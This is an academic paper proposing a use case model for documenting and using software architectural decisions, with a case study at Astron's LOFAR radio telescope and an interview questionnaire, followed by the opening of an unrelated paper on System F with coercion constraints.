Architectural knowledge vaporizes because most of the architectural decisions, which are the most significant form of architectural knowledge [6], are lost during the development and evolution cycles. This is due to the fact that architectural decisions are neither documented in the architectural document, nor can they be explicitly derived from the architectural models. They merely exist in the form of tacit knowledge in the heads of architects or other stakeholders, and thus inevitably dissipate. The only way to resolve this problem is to grant architectural decisions first-class status and properly integrate them within the discipline of software architecture.
Although the domain of architectural decisions is receiving increasing attention by the software architecture community, there is little guidance as to how architectural decisions can be used during both architecting and in the general development process. In fact, in order to give architectural decisions first-class status there should be a systematic approach that can support their explicit documentation and usage by the architect and the rest of the stakeholders. We believe that it is too early at this stage to introduce methods or processes, and even more so supporting systems for creating and subsequently using architectural decisions. We argue that, first, we need to understand the complex nature of architectural decisions, and their role in the software development process and within an organization.
To achieve this goal, we present in this paper a use case model, that elaborates on two important issues: first, which are the stakeholders that need to use architectural decisions; second, how can the decisions be used by the relevant stakeholders. We have worked with industrial partners to understand the exact problems they face with respect to loss of architectural decisions. We have thus compiled a wish list from practitioners on the use of architectural decisions. Furthermore we have combined this wishlist with what we consider as the ideal requirements for a system that supports the usage of architectural decisions. We have thus followed both a bottom-down and a top-down approach and finally merged them into a use case model that represents real and ideal industrial needs for effective usage of architectural decisions. Finally, we validated this use case model in practice, by applying it at the industrial partners in small case studies.
The idea of a use case model for using architecture knowledge was introduced in [2], which forms the foundation work for our paper. This idea is further elaborated in [7]. It discusses the concept of architectural knowledge, from an ontological perspective, and typical usages of architectural knowledge in a broad context.
The rest of the paper is structured as follows: in Section 2 we give an overview of how our industrial partners defined the needs for using and sharing architectural decisions. Section 3 presents the use case model, including the actors and system boundary. The ongoing validation of the use cases is conducted in Section 4. Section 5 discusses related work in this field and Section 6 sums up with conclusions and future work.
II. FROM INDUSTRIAL NEEDS TO USE CASES
The use cases that are described in the rest of the paper refer to a potential system that would support the management of architectural decisions. To the best of our knowledge, there is no such system implemented yet. We envision this system as a Knowledge Grid [8]: “an intelligent and sustainable interconnection environment that enables people and machines to effectively capture, publish, share and manage knowledge resources”.
Before pinpointing the specific requirements for a knowledge grid in the next sections, it is useful to consider the more
generic requirements by combining the areas of knowledge grids and architectural decisions. First, this system should support the effective collaboration of teams, problem solving, and decision making. It should also use ontologies to represent the complex nature of architectural decisions, as well as their dense inter-dependencies. Furthermore, it must effectively visualize architectural decisions and their relations from a number of different viewpoints, depending on the stakeholders’ concerns. Finally, it must be integrated with the tools used by architects, as it must connect the architectural decisions to documents written in the various tools or design environments, and thus provide traceability between them.
We are currently participating in the Griffin project [9] that is working on tools, techniques and methods that will perform the various tasks needed for building this knowledge grid. Until now, the project has produced two main results: a use case model, and a domain model. The domain model describes the basic concepts for storing, sharing, and using architectural decisions and the relationships between those concepts [10]. The use case model describes the required usages of the envisioned knowledge grid. The use cases are expressed in terms of the domain model, in order to establish a direct link between the concepts relevant to architectural decisions (the domain model), and how the architectural decisions should be used (use cases). The focus in this paper is on the use case model.
Four different industrial partners participate in the Griffin project. They are all facing challenges associated to architectural knowledge vaporization. Although the companies are of different nature, they all are involved in constructing large software-intensive systems. They consider software architecture of paramount importance to their projects, and they all use highly sophisticated techniques for maintaining, sharing and assessing software architectures. Still, some challenges remain.
We conducted qualitative interviews with 14 employees of these industrial partners. Our goal was to analyze the problems they faced concerning sharing architectural knowledge, and to identify possible solutions to these problems. People with different roles were interviewed: architects (SA), project managers (PM), architecture reviewers (AR), and software engineers (SE). A questionnaire (see the appendix at the end of this paper) was used to streamline and direct the interviews. The questionnaire was not directly shown to the employees, but used as a starting point and checklist for the interviewers.
The results from the interviews were wrapped up in interview reports that described the current challenges and envisioned solutions by these companies. The interview reports contained some needs from the interviewees, which included:
1) Find relevant information in large architectural descriptions (SA, PM, AR).
2) Add architectural decisions, relate them to other architectural knowledge like architectural documentation, or requirement documentation (SA, PM).
3) Search architectural decisions and the underlying reasons, construct (multiple) views where the decisions are represented (SA, PM, AR).
4) Identify what knowledge should minimally be made available to let developers work effectively (SA).
5) Identify the changes in architectural documentation (PM).
6) Identify what architectural decisions have been made in the past, to avoid re-doing the decision process. This include identifying what alternatives were evaluated and the issues that played some critical role at that time (SA, PM, AR, SE).
7) Reuse architectural decisions (SA, PM, SE).
8) Keep architecture up-to-date during development and evolution (SA, PM).
9) Get an overview of the architecture (SA, PM, AR).
The interview reports and the needs stated in these reports form the starting point for constructing the use cases. Except for this bottom-up approach we also followed a top-down approach: we thought about the ideal usages of a system that supports the usage of architectural knowledge. This was necessary as most of the interviewees had a rather implicit and vague notion of architectural decisions and had not thought of using architectural decisions, represented as first-class entities. Both real needs from the interviewees and ideal needs proposed by the research group were merged into a use case model presented in the next section.
**III. The Use Case Model**
This section elaborates on a set of use cases that roughly define the requirements for a potential knowledge grid. First, we describe the actors of the knowledge grid, starting from the roles of our interviewees. After this, the primary actor and the scope are discussed. To understand the dependencies between the use cases a use case model consisting of 27 use cases, including the relations, is presented in figure 1. Besides presenting the dependencies among the use cases, the figure also relates the use cases to the identified needs described in the previous section. Note that this is not a one-to-one mapping; some needs resulted in multiple use cases and few use cases do not originate from needs but from ‘ideal’ requirements.
**A. Actors**
We identified the following actors being relevant for the use cases, based on the roles of the interviewees.
- **Architect.** Architects should be able to create and manage an architecture, and get an overview of the status of the architecture. This results in demands for views that show the coverage of requirements or describe the consistency of the design. Also, the architect is responsible for providing stakeholders with sufficient information, to ensure that their concerns are met in the architecture design.
- **Architecture Reviewer.** Architecture reviewers are often interested in a specific view on the architecture. They can be colleagues, experts from a certain field, or reviewers from an external organization. They want to understand the architecture quickly and want to identify potential pitfalls in the architecture, like poorly founded architectural
Use Case Titles
1. Check implementation against architectural decisions (need 8)
2. Identify the subversive stakeholder (need 3)
3. Identify key architectural decisions for a specific stakeholder (need 1,9)
4. Perform a review for a specific concern (need 3)
5. Check correctness (need 8, 9)
6. Identify affected stakeholders on change (need 3)
7. Identify unresolved concerns for a specific stakeholder (need 9)
8. Keep up-to-date (need 5)
9. Inform affected stakeholders (need 5)
10. Retrieve an architectural decision (need 6)
11. View the change of the architectural decisions over time (need 5)
12. Add an architectural decision (need 2)
13. Remove consequences of a cancelled architectural decision (need 8)
14. Reuse architectural decisions (need 14)
15. Recover architectural decisions (need 6, 7)
16. Perform incremental architectural review (need 1, 9)
17. Assess design maturity (need 1)
18. Evaluate impact of an architectural decision
19. Evaluate consistency (need 1)
20. Identify incompleteness (need 1)
21. Conduct a risk analysis
22. Detect patterns of architectural decision dependencies
23. Check for superfluous architectural decisions
24. Cleanup the architecture
25. Conduct a trade-off analysis (need 3)
26. Identify important architectural drivers (need 3)
27. Get consequences of an architectural decision (need 3, 6)
Legend
Use case X Actor Includes relationship
Fig. 1. Use case diagram
decisions, architectural incompleteness, or architectural inconsistency.
- **Project Manager.** The concerns of the project manager are usually driven by the planning; what is the status of the architecture, are there potential upcoming problems or risks, and how can we address them? The project manager also addresses people-related issues, e.g. which stakeholder is the biggest risk for the architecture?
- **Developer.** The primary concern of the developer is that the architecture should provide sufficient information for implementing the system. The descriptions must be unambiguous. Also, the developer must know where to look for the necessary knowledge; this can be in the architectural documentation, or by knowing which person to contact.
- **Maintainer.** The maintainer is often ignored as a stakeholder of an architecture. However, the maintainer is one of the most important actors when the architecture has to evolve. The maintainer has interest in the evolution of the architecture (up-to-date information), and the consequences of changes in the architecture.
We encountered that the different companies used different terms for the roles they have in the software development process. The list of actors presented above is an abstraction of those different roles.
B. Describing the use cases
We present the use cases, as mandated in [11], using the following elements:
- **Scope.** All the use cases are defined as an interaction on a knowledge grid type of system (see section 2.1). From the use case model perspective, this system is considered a black-box system.
- **Goal level.** The descriptions from the interviews were very diverse in detail. As a consequence, some use cases describe a single interaction on the system (e.g. add an architectural decision), while others are very high-level demands of the system (e.g. perform an incremental architectural review). We adopted three goal levels from [11] of a decreasing abstraction: Summary, User-goal and Subfunction, for describing this difference. A Summary goal use case can involve multiple User-goals use cases, and often have a longer time span (hours, days). A User-goal use case involves a primary actor using the system (in Business Process Management often called elementary business process), often in one session of using the system. Subfunction use cases are required to carry out User-goal use cases. They typically represent an elementary action on the system, which is used by multiple User-goal use cases.
- **Primary actor.** The list of actors described in section III-A are used to determine the primary actor for a specific use case. Sometimes, a use case can be performed by all actors (e.g. identify key architectural decisions). In these cases, the term All is used as a substitute for the primary actor. In other cases, when the type of actor affects the use case, the most suitable actor was selected as primary actor, and the others were left out.
- **Main success scenario and steps.** First, a short description of the use case was constructed. From this, a set of steps was defined, describing the main success scenario. Due to space constraints, this is not shown for all the use cases. In the next section, four use cases are described in detail.
- **Includes relationships.** The “include” relationships between the use cases are based on the steps defined for these use cases. This relationship expresses that a use case contains behavior defined in another use case, as defined in UML 2.0 [12]. When a use case includes another use case with a different primary actor, this typically means that the first actor will ask the second actor to perform the specified use case. For example, in use case 2 (Identify the subversive stakeholder), the project manager will ask the architect to conduct a risk analysis (use case 21). Off course one person can also have multiple roles, and thus perform as the primary actor in both use cases.
Figure 1 presents the characteristics (Primary actor, goal level, and name) of the use case model, which consists of 27 use cases. Note that to enhance the readability, the uses relationship (between the actor and the use case) is not visualized with arrows, but by horizontal alignment. For example, the architecture reviewer acts as a primary actor for use cases 16, 4, 26, and 5. The use cases are vertically divided in the three goal levels: Summary, User-goal and Subfunction. For example, use case 16 is a Summary use-case and use case 4 an User-goal.
IV. USE CASE VALIDATION
A use case model like the one presented in section III can not be directly validated in a formal, mathematical sense. Instead, the use cases need to be applied in practice and their effect on the development process should be evaluated. However, before the use cases can be applied, the use cases need further refinement to become useful. In this validation section, we present these refinements, demonstrate the relevance of the use cases in an industrial setting, and present the improvement these use-cases have made on the development process.
Currently, the Griffin project is involved in conducting case studies at our industrial partners to validate the use cases. In this section we briefly present the Astron Foundation case study. Astron is currently engaged in the development of the LOw Frequency ARray (LOFAR) for radio astronomy [13]. LOFAR pioneers the next generation of radio telescope and will be the most sensitive radio observatory in the world. It uses many inexpensive antennas combined with software, instead of huge parabolic dishes, to observe the sky. This makes LOFAR a software intensive telescope. LOFAR will consists of around 15,000 antenna’s distributed over 77 different stations. Each antenna will generate around 2 Gbps of raw data. The challenge for LOFAR is to communicate and process the resulting 30Tbps data stream in real-time for interested scientists.
In the LOFAR system, architectural decisions need to be shared and used over a time span of over 25 years. This is due to the long development time (more than 10 years), and a required operational lifetime of at least 15 years. Astron is judged by external reviewers on the quality of the architecture. The outcome of these reviews influences the funding, and consequently the continuation of the project. Therefore, it is evident that the architecture has to hold high quality standards.
Together with Astron, we identified eight use cases being of primary concern for the LOFAR case study: 5, 7, 10, 12, 15, 17, 19, and 20. This section focuses on assessing the design maturity, which is a major concern for Astron. Assessing the design maturity is a specialization of the earlier identified need for getting an overview of the architecture (see section II, need 9). The following use-cases are relevant with regard to this assessment:
- Assess design maturity (UC 17, see figure 2)
- Identify incompleteness (UC 20, see figure 3)
- Check correctness (UC 5, see figure 4)
- Evaluate consistency (UC 19, see figure 5)
Of these four use cases, use case 17 is the only Summary level use case (see figure 1). Use cases 5, 19, and 20 are used by this use case. In the remainder of this section, these use cases are presented in more detail. For each use case, the following is presented: the relevance to Astron, the current use cases are presented in more detail. For each use case, the following is presented: the relevance to Astron, the current practice at Astron, a more elaborate description of the use case, and the envisioned concrete realization within Astron.
The elaborated use case descriptions make use of the concept of knowledge entity. All the domain concepts defined within the knowledge grid are assumed as being knowledge entities. For this case study, this includes among others: architectural decisions, rationales, decision topics, alternatives, requirements, specifications, assumptions, rules, constraints, risks, artifacts, and the relationships among them.
A. UC 17: Assess design maturity
Relevance The design maturity is an important part of the quality of the LOFAR architecture. LOFAR is constructed using cutting edge technology to enquire maximum performance. However, due to the long development time, these cutting edge technologies are typically emerging when the initial architecture design is being made. So, the architecture has to be made with components that do not yet exist. It is therefore hard for Astron to make a judgment whether the architecture is sufficiently matured to start actual construction.
Current Practice Within the LOFAR case study, the design maturity is first assessed for the various subsystems by each responsible architect. For each subsystem the main issues with regard to incompleteness, correctness, and consistency are reported. Based on these reports, the opinions of the architects and project management it is decided whether the system is mature enough to be proposed to the external reviewers to proceed to the next project phase.
Use case realization The design maturity use case is presented in figure 2. This use case consists of three other use cases that in turn are used to check the architecture for completeness, correctness, and consistency. These use cases are presented in the remainder of this section.
B. UC 20: Identify incompleteness
Relevance Use case 20 determines whether the architecture covers all (essential) requirements. For Astron this is relevant from a management perspective: incompleteness gives pointers to directions where additional effort should be concentrated.
Current practice Astron checks for the completeness of the architecture description by peer review and risk assessment. The peer review is done iteratively; fellow architects give feedback (among others) on the completeness of the architectural descriptions. A risk assessment is performed before every external review. The result of this process, a risk matrix, is used for the next iteration of the architectural description. During the design phase, the architect signifies specific points of incompleteness, typically by putting keywords like ‘tbd’ (to be determined), or ‘tbw’ (to be written) in the architecture documents.
For example, in the central processor, the signals of the antenna’s should be correlated with each other. Therefore, the signals of all the stations should be routed all-to-all. However, the architectural decision on what network topology to use for this task is still incomplete, as some alternatives have been evaluated, but no suitable (cost-effective) solution can be selected so far.
Use case realization The general use case is described in figure 3. For Astron this is realized by the following:
- Risks Currently, the relationships between the identified risks (for example in the risk matrix) and the design (in the architectural documentation) are not explicitly clear. The knowledge grid allows the architect to relate risks to particular parts of the design and to architectural decisions. This use case enables the architect to partially check the completeness of...
In this use case, the system provides a report about the structure of the architectural decisions.
**Primary actor:** Architect.
**Scope:** Knowledge grid
**Level:** User-goal.
**Precondition:** The user is known within the knowledge grid.
**Postcondition:** The knowledge provides an overview of the incomplete knowledge entities.
**Main success scenario:**
1. The architect selects a part of the architecture.
2. The knowledge grid identifies the knowledge entities in the part.
3. The grid reports about the incompleteness of these knowledge entities.
**Extensions:** None
---
**C. Use Case 5: Check correctness**
**Relevance** Besides completeness, it is also important to know whether the architectural decisions actually address the requirements. In this sense, correctness is complimentary to completeness. For example, completeness only means that there exist decisions taken with respect to all requirements, while correctness means that these decisions actually lead to a solution that meets these requirements. Astron spends considerable effort in verifying the correctness of the design. Prototypes of major hardware and software components are made and evaluated. Simulations and models are used as well. For example, to deal with the major concern of the enormous amounts of data to be processed, Astron has developed an elaborate performance model. This model allows the architect to simulate and validate the correctness of many different concepts for distributed data processing.
**Current practice** Similar to the check for completeness, peer reviews are used to verify the correctness of the design description. Domain experts verify the design description created by the architect. Based on this feedback, the architect adapts the design description. Doubts about the correctness of parts of the design are typically annotated with the key word ‘tbc’ (to be confirmed) or placed in a separate open issue sections. If there is any doubt about the way in which the correctness is verified, keywords like ‘under discussion’ are typically used in the architectural documentation.
For example, there has been an incorrect assessment of the distributed behavior of the used calibration algorithm. It was expected that each node used 80% local data, and that for the remaining 20% all the data on the other nodes was needed. Based on this assessment the architectural decision was made to use a distributed database grid. However, during performance tests it turned out that for this 20% the data of only one or two other nodes was needed, instead of all the other nodes. Consequently, the architectural decision turned out to be wrong, as the architectural decision for a centralized database is a significant better alternative. In retrospect, verification of the architectural decision by the correct domain expert could have prevented this situation from arising in the first place.
**Use Case realization** The knowledge grid itself cannot determine the correctness of the architectural decisions without in-depth semantic knowledge of the underlying architectural models. Therefore, this use case makes provision for assisting the architect in determining the correctness of the design, rather than that the knowledge grid determines the correctness itself.
For each requirement or risk, the architect needs to find out whether the involved architectural decisions correctly address the requirement or risk. This use case describes how this process can be supported.
The visualization of the incompleteness can subsequently be used to visualize incorrect elements. However, since the checking of correctness is mostly manual job for the architect, the results may vary when different people are checking the correctness. Integration of this information is then needed.
This use case is concerned with the consistency between the architectural decisions themselves. As the LOFAR project consists of many components that are developed in parallel, detecting contradictions is important, as this provides an early warning for mistakes in the overall design. Inconsistencies make the design of the system harder to understand and create problems during the realization of the system.
Checking for inconsistencies in textual descriptions is largely a manual job. The part of the design that is modeled (e.g. in the performance models) can automatically be checked for inconsistencies. However, they only cover a very small part of the overall design, and therefore a small part of the architectural decisions. Most of the inconsistencies are found by inspection, either by the architect or reviewer.
For example, there has been an inconsistency in LOFAR between the protocol used by the central processor (the correlator of the radio signals) and the stations (the locations where the antenna’s are residing). Although large efforts have been put in a consistent definition of the data packet header, versioning etc., the used definition of how to interpret the subband data turned out to be inconsistent. For the station a subband was defined starting with the lowest frequency leading to the highest frequency of the subband, while for the central processor it was defined the other way around.
The architect is supported with relevant context information in the decision making process. For Astron, this will include the visualization of relevant requirements, and closely related architectural decisions and specifications. Techniques similar to the work of [14] could be used for this. Furthermore, once an inconsistency is detected, the architect is supported with a visualization of the relevant architectural decisions. This allows the architect not only to confirm an inconsistency, but also to detect its cause and consequently resolve it.
### V. RELATED WORK
Software architecture design methods [15], [16] focus on describing how sound architectural decisions can be made. Architectural assessment methods, like ATAM [15], assess the quality attributes of a software architecture. The use cases presented in this paper describe some assessment scenarios that could be reused from these design and assessment methods.
Software documentation approaches [17], [18] provide guidelines for the documentation of software architectures. However, these approaches do not explicitly capture the way to take architectural decisions and the rationale behind those decisions. The presented use cases describe how stakeholders would like work with this knowledge.
Architectural Description Languages (ADLs) [19] do not capture the decisions making process in software architecting either. An exception is formed by the architectural change management tool Mae [20], which tracks changes of elements in an architectural model using a revision management system. However, this approach lacks the notion of architectural decisions and does not capture the considered alternatives or rationales, something the knowledge grid does.
Architectural styles and patterns [21], [22] describe common (collections of) architectural decisions, with known benefits and drawbacks. Tactics [15] are similar, as they provide clues and hints about what kind of techniques can help in certain situations. Use case 22 (Detect patterns of architectural decision dependencies), can be used to find these kinds of decisions.
Currently, there is more attention in the software architecture community for the decisions behind the architectural model. Tyree and Akerman [3] provide a first approach on documenting design decisions for software architectures. Concepts and guidelines for explicit representations of architectural decisions can be found in the work of Babar et al. [23] and
### Use Case 19: Evaluate consistency
#### Description:
In this use case, the knowledge grid supports the user in detecting inconsistencies in the architecture design.
#### Primary actor: Architect.
#### Scope: Knowledge grid.
#### Level: User-goal.
#### Precondition:
The user is known within the knowledge grid.
#### Postcondition:
The knowledge grid contains markings about the consistency; An overview of inconsistent knowledge entities is provided.
#### Main success scenario:
1. The architect selects a subset of architectural knowledge in the grid.
2. Architect selects a specific knowledge entity or a part of the design, and asks the knowledge grid for consistency assistance.
3. The knowledge grid provides a list of related (and potentially inconsistent) knowledge entities.
4. The architect marks the inconsistent knowledge entities.
5. The architect repeats steps 3 and 4 for the remaining knowledge entities.
6. The knowledge grid provides an overview of inconsistent knowledge.
#### Extensions:
4a. The knowledge entities are consistent, the architect marks them as such.

our own work [5], [6]. Closely related to this is the work of Lago and van Vliet [24]. They model assumptions on which architectural decisions are often based, but not the architectural decisions themselves. Kruchten et al. [2], stress the importance of architectural decisions, and show classifications of architectural decisions and the relationship between them. They define some rough outlines for the use cases for describing how to use architectural knowledge. Furthermore, they provide an ontology based visualization of the knowledge in the grid. We emphasize more on the explicit modeling of the use cases and are validating a set of extended use cases in the context of a case study.
Integration of rationale and design is done in the field of design rationale. SEURAT [25] maintains rationales in a RationaleExplorer, which is loosely coupled to the source code. These rationales have been transferred to the design tool, to let the rationales of the architecture and implementation level be maintained correctly. DRPG [26] couples rationale of well-known design patterns with elements in a Java implementation. Just like SEURAT, DRPG also depends on the fact that the rationale of the design patterns is added to the system in advance. The importance of having support for design rationales was emphasized by the survey conducted by Tang et al. [4]. The results emphasized the current lack of good tool support for managing design rationales. The use cases presented in this paper are an excellent start for requirements for such tools.
From the knowledge management perspective, a web based tool for managing architectural knowledge is presented in [23]. This approach uses tasks to describe the use of architectural knowledge. These tasks are much more abstract than the use cases defined in this paper (e.g. architectural knowledge use, architectural knowledge distribution).
Finally, another relevant approach is the investigation of the traceability from the architecture to the requirements [27]. Wang uses Concern Traceability maps to reengineer the relationships between the requirements, and to identify the root causes. The results from such systems could be valuable input for defining the relationships between knowledge entities, as used in our validation.
VI. CONCLUSIONS AND FUTURE WORK
In order to upgrade the status of architectural decisions, we must first understand how they can be shared and used by a software development organization. For this purpose, we have proposed a use case model that came out of industrial needs and aims to fill specific gaps and in particular to alleviate the dissipation of architectural decisions. This use case model is considered as the black-box view of a knowledge grid type of system that is envisioned to enrich the architecting process with architectural decisions.
A reasonable question to reflect upon is: how exactly was the software architecture quality enhanced by the use case model proposed in this paper? Although pinpointing what exactly constitutes the quality of software architecture per se is a difficult issue, we can identify five arguments in this case:
- **Less expensive system evolution.** As the systems need to change in order to deal with new requirements, new architectural decisions need to be taken. Adding, removing and modifying architectural decisions can be based on the documentation of existing architectural decisions that reflect the original intent of the architects. Moreover, architects may be less tempted to violate or override existing decisions, and they cannot neglect to remove them. In other words the architectural decisions are enforced during evolution and the problem of architectural erosion [28] is reduced.
- **Enhanced stakeholder communication.** The stakeholders come from different backgrounds and have different concerns that the architecture document must address. Architectural decisions may serve the role of explaining the rationale behind the architecture to all stakeholders. Furthermore, the explicit documentation of architectural decisions makes it more effective to share them among the stakeholders, and subsequently perform tradeoffs, resolve conflicts, and set common goals.
- **Improved intrinsic characteristics of the architecture.** These concern attributes of the architecture, such as conceptual integrity, correctness, completeness and buildability [15]. Architectural decisions can support the development team to upgrade such attributes, because they give more complete knowledge, they provide a clearer and bigger picture. In other words, architectural decisions provide much richer input to the formal (or less formal) methods that will be used to evaluate these attributes.
- **Extended architectural reusability.** Reuse of architectural artifacts, such as components and connectors, can be more effectively performed when the architectural decisions are explicitly documented in the architecture. To reuse architectural artifacts, we need to know why they were chosen, what their alternatives were, and what benefits and liabilities they bring about. Such kind of reusability prevents the architects from re-making past mistakes or making new mistakes. Finally architectural decisions per se, can and should be reused, probably after slight modifications.
- **Extended traceability between requirements and architectural models.** Architectural decisions realize requirements (or stakeholders’ concerns) on the one hand, and result in architectural models on the other hand. Therefore, architectural decisions are the missing link between requirements and architectural models and provide a two-way traceability between them [6]. The architect and other stakeholders can thus reason which requirements are satisfied by a specific part of the system, and vice-versa, which part of the system realizes specific requirements.
We are currently trying to validate the use case model in four industrial case studies to better understand the pragmatic industrial needs and make the use case model as relevant and
effective as possible. After this validation, we plan to perform a second iteration of validation interviews with the original interviewees from the first iteration, as well as more stakeholders with different roles, in order to fully cover the most significant roles. Furthermore, external architects will also be asked to validate the use case model. In the meantime, we have already attempted to implement parts of the knowledge grid in the form of tool support, which is used in the aforementioned case study of the Astron Foundation.
ACKNOWLEDGEMENTS
This research has partially been sponsored by the Dutch Joint Academic and Commercial Quality Research & Development (Jacquard) program on Software Engineering Research via contract 638.001.406 Griffin: a GRId For inFormatioN about architectural knowledge.
REFERENCES
APPENDIX
GRiffin QUESTIONNAIRE
This appendix contains the questionnaire that was used during the interviews with the stakeholders at the industrial partners. The questionnaire was sent to most interviewees in advance and used by the Griffin research team to see whether all relevant subjects have been discussed during the interview.
Introduction of yourself
1) Can you describe your role and responsibilities within the organization?
2) Can you give an estimate on what percentage of your time is spent on activities related to architecture? Examples include capturing architectural knowledge, communicating architectural knowledge to stakeholders, et cetera.
3) With what kind of stakeholders in the architecting process do you interact most?
Architecture
1) For the sake of clarity: what is your definition of “(software) architecture”? Does this definition differ from the generally accepted definition within your organization?
2) Can you describe the software design process, and the place the architecture takes in it?
3) Are architectures kept up-to-date during evolution? What techniques are used in keeping the architectures up-to-date?
4) For what stakeholders are architecture documents created? What are (generally spoken) the most important stakeholders?
5) Are tools, methods, templates, or architectural description languages (ADLs) used in constructing an architecture?
6) Are you satisfied about the way these tools, methods, templates, or ADLs are being utilized during the architecture construction process? Can you mention any improvement points?
Architectural knowledge
1) What architectural decisions are documented, and how?
2) Can you quantify the impact of Architectural Knowledge that is lost / not present / too implicit? Can you give examples?
3) Could you provide a top-3 list of burdens in modelling architectures? What are your ideas on this?
Your architectures of today and in the past
1) What are the most important quality characteristics of your architecture (or architectures)?
2) What kind of solutions do you provide in your design? Do you reuse certain solutions (e.g. architectural patterns) in your architectures?
3) (If possible to mention commonalities): With what kinds of design aspects do you deal explicitly in your architectures? Examples of design aspects include interfaces, error handling, execution architecture, data consistency, and robustness.
4) From what sources do you obtain information for these design aspects?
5) Is there a topic on which you foresee a big change in the use of architectures in the future?
A. Architecting in daily practice
1) How is the availability of architectural information planned, managed, and reviewed?
2) What will be (in your opinion) a big change in the architect’s job in the future?
3) Looking back on the last few years, what would you reckon as a significant step forward in architecting support?
4) How would you prepare for this?
5) How is this change planned?
|
{"Source-Url": "https://www.rug.nl/research/portal/files/2837493/2006ProcQoSAvdVen.pdf", "len_cl100k_base": 8205, "olmocr-version": "0.1.50", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 31182, "total-output-tokens": 9868, "length": "2e13", "weborganizer": {"__label__adult": 0.00039315223693847656, "__label__art_design": 0.0018978118896484375, "__label__crime_law": 0.0003151893615722656, "__label__education_jobs": 0.0016965866088867188, "__label__entertainment": 7.164478302001953e-05, "__label__fashion_beauty": 0.00017774105072021484, "__label__finance_business": 0.0003261566162109375, "__label__food_dining": 0.00036716461181640625, "__label__games": 0.0005593299865722656, "__label__hardware": 0.0007214546203613281, "__label__health": 0.00034165382385253906, "__label__history": 0.0003113746643066406, "__label__home_hobbies": 9.78708267211914e-05, "__label__industrial": 0.0005078315734863281, "__label__literature": 0.0003659725189208984, "__label__politics": 0.00026345252990722656, "__label__religion": 0.0006170272827148438, "__label__science_tech": 0.015472412109375, "__label__social_life": 7.838010787963867e-05, "__label__software": 0.005748748779296875, "__label__software_dev": 0.96875, "__label__sports_fitness": 0.0002658367156982422, "__label__transportation": 0.00043487548828125, "__label__travel": 0.00020301342010498047}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 46028, 0.02008]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 46028, 0.76684]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 46028, 0.92445]], "google_gemma-3-12b-it_contains_pii": [[0, 0, null], [0, 5604, false], [5604, 11720, null], [11720, 13140, null], [13140, 19079, null], [19079, 24268, null], [24268, 27559, null], [27559, 33101, null], [33101, 39172, null], [39172, 44633, null], [44633, 46028, null]], "google_gemma-3-12b-it_is_public_document": [[0, 0, null], [0, 5604, true], [5604, 11720, null], [11720, 13140, null], [13140, 19079, null], [19079, 24268, null], [24268, 27559, null], [27559, 33101, null], [33101, 39172, null], [39172, 44633, null], [44633, 46028, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 46028, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 46028, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 46028, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 46028, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 46028, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 46028, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 46028, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 46028, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 46028, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 46028, null]], "pdf_page_numbers": [[0, 0, 1], [0, 5604, 2], [5604, 11720, 3], [11720, 13140, 4], [13140, 19079, 5], [19079, 24268, 6], [24268, 27559, 7], [27559, 33101, 8], [33101, 39172, 9], [39172, 44633, 10], [44633, 46028, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 46028, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
7ca1d20ee4145f464632ef97468f4d44d3f46a3c
|
System F with Coercion Constraints
Julien Cretin Didier Rémy
INRIA
Julien.Cretin@polytechnique.org Didier.Remy@inria.fr
Abstract
We present a second-order \(\lambda\)-calculus with coercion constraints that generalizes a previous extension of System F with parametric coercion abstractions by allowing multiple but simultaneous type and coercion abstractions, as well as recursive coercions and equi-recursive types. This enables a uniform presentation of several type system features that had previously been studied separately: type containment, bounded and instance-bounded polymorphism, which are already encodable with parametric coercion abstraction, and ML-style subtyping constraints. Our framework allows for a clear separation of language constructs with and without computational content. We also distinguish coherent coercions that are fully erasable from potentially incoherent coercions that suspend the evaluation—and enable the encoding of GADTs.
Discernible coercions that witness subsumption relations between typings, e.g. pairs composed of a typing environment and a type. Our calculus is equipped with full reduction that allows reduction under abstractions—but we also introduce a form of weak reduction as reduction cannot proceed under incoherent type abstractions. Type soundness is proved by adapting the step-indexed semantics technique to full reduction, moving indices inside terms so as to control the reduction steps internally—but this is only detailed in the extended version.
Categories and Subject Descriptors D.3.1 [Programming Languages]: Formal Definitions and Theory
General Terms Design, Languages, Theory
Keywords Type, Typings, Polymorphism, Coercion, Retyping functions, Type containment, Subtyping, Bounded polymorphism, Type constraints, System F, F-eta, GADTs, Step-Indexed semantics, Full reduction, Recursive coercions, Recursive types
1. Introduction
Type systems are syntactical languages to express properties and invariants of programs. Their objects are usually types, typing contexts, and typing derivations. These can be interpreted as mathematical objects or proofs. Typically, a typing judgment \(\Gamma \vdash a : \tau\) can be interpreted as a proof that the term \(a\) is well-behaved and that its computational behavior is approximated by the type \(\tau\) when the approximations of the behaviors of its free variables are given by the typing context \(\Gamma\). The simply-typed \(\lambda\)-calculus extended with constants such as pairs or integers to model the core of a real programming language is the simplest of all type systems. It is also somewhat canonical: it just contains one type construct for each related construct of the language: arrow types \(\tau \to \sigma\) to classify functions, \(\tau \times \sigma\) to classify pairs, etc. and nothing else. Each type construct has a counter-part in terms and we may call them computational types.
